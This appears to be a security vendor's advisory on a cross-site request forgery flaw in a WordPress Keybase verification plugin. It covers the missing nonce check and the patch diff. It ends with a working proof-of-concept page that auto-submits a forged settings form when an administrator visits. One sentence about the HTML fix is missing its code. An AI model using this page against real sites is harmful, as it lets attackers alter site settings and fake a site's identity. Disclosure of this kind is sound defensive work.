Atomic Edge analysis of CVE-2026-1072:
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Keybase.io Verification WordPress plugin, affecting versions up to and including 1.4.5. The vulnerability allows unauthenticated attackers to modify the plugin’s verification text settings by tricking an administrator into submitting a forged request. The CVSS score of 4.3 reflects a medium severity impact.
Atomic Edge research identifies the root cause as missing nonce validation in the settings update handler. The vulnerable code resides in the file `wp-keybase-verification/admin/code/write.php`. The `if (isset($_POST[‘keybaseverif_text’]))` conditional at line 49 processes form submissions without verifying a nonce token. This omission allows any POST request containing the `keybaseverif_text` parameter to update the `keybaseverif_text` option via the `update_option()` function.
Exploitation requires an attacker to craft a malicious web page or link that submits a forged POST request to the plugin’s settings page. The target endpoint is `options-general.php?page={page}`, where `{page}` corresponds to the plugin’s admin menu slug. The payload consists of a single parameter, `keybaseverif_text`, containing the attacker’s desired verification text. An attacker must induce a logged-in administrator to load the malicious page, which then silently submits the form to the vulnerable endpoint.
The patch adds nonce verification to the form processing logic. In `wp-keybase-verification/admin/code/write.php`, the patch inserts `check_admin_referer(‘keybaseverif_save’, ‘keybaseverif_nonce’);` at line 51, immediately after the `isset()` check. This function validates the presence and correctness of a WordPress nonce. The corresponding fix in `wp-keybase-verification/admin/html/write.php` adds “ to the form, generating the required security token. These changes ensure that form submissions originate from the intended plugin admin page.
Successful exploitation allows an attacker to alter the Keybase verification text stored in the WordPress database. This could disrupt or falsify the site’s claimed Keybase identity, potentially damaging trust or enabling impersonation attacks. The attack requires administrator interaction, but no authentication or special privileges are needed for the request itself. The impact is limited to modification of the plugin’s specific setting, not arbitrary code execution or full site compromise.
--- a/wp-keybase-verification/admin/code/write.php
+++ b/wp-keybase-verification/admin/code/write.php
@@ -3,7 +3,7 @@
Title: Write
Description: The code for the write page.
Author: Hans Vedo, hans@cultivate.it
-Author: James Swineson, jamesswineson@gmail.com
+Author: Jamesits, osscontrib@ciexyz.net
2011-01-23: Created
*/
@@ -49,6 +49,8 @@
// Capture a submitted form.
if (isset($_POST['keybaseverif_text'])) {
+ check_admin_referer('keybaseverif_save', 'keybaseverif_nonce');
+
// Save the content.
update_option('keybaseverif_text', sanitize_multiline_text_field($_POST['keybaseverif_text']));
--- a/wp-keybase-verification/admin/html/write.php
+++ b/wp-keybase-verification/admin/html/write.php
@@ -24,6 +24,7 @@
?>
<div id="keybaseverif_form">
<form name="keybaseverif-form" action="options-general.php?page={page}" method="post">
+ <?php wp_nonce_field('keybaseverif_save', 'keybaseverif_nonce'); ?>
<div id="poststuff">
<textarea id="keybaseverif_text_field" name="keybaseverif_text" wrap="off">{keybaseverif.text}</textarea>
--- a/wp-keybase-verification/plugin.php
+++ b/wp-keybase-verification/plugin.php
@@ -1,23 +1,23 @@
<?php
/*
Plugin Name: Keybase.io Verification
-Version: 1.4.5
+Version: 1.4.6
Plugin URI: https://github.com/Jamesits/wp-keybase-verification
Description: Keybase.io site verification helper.
-Author: James Swineson
+Author: Jamesits
Author URI: https://swineson.me/
Text Domain: keybaseverif
Domain Path: /lang
*/
/*
-Copyright 2016 James Swineson (@jamesits) <jamesswineson@gmail.com>
+Copyright 2016 @jamesits <osscontrib@ciexyz.net>
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
// Settings
-define('keybaseverif_version', '1.4.5');
+define('keybaseverif_version', '1.4.6');
// Install the plugin
register_activation_hook(__FILE__, 'keybaseverif_install');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1072 - Keybase.io Verification <= 1.4.5 - Cross-Site Request Forgery to Settings Update
<?php
// Configuration: Set the target WordPress admin URL (must be accessible to the victim's browser).
$target_url = 'http://vulnerable-site.com/wp-admin/options-general.php?page=keybaseverif';
// Payload: The Keybase verification text to inject.
$malicious_text = 'keybase-site-verification=ATTACKER_CONTROLLED_HASH';
// This HTML page, when visited by a logged-in administrator, will automatically submit the forged form.
?>
<!DOCTYPE html>
<html>
<head>
<title>Loading...</title>
</head>
<body>
<form id="exploit" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<input type="hidden" name="keybaseverif_text" value="<?php echo htmlspecialchars($malicious_text); ?>">
</form>
<script>
// Auto-submit the form when the page loads.
document.getElementById('exploit').submit();
</script>
</body>
</html>
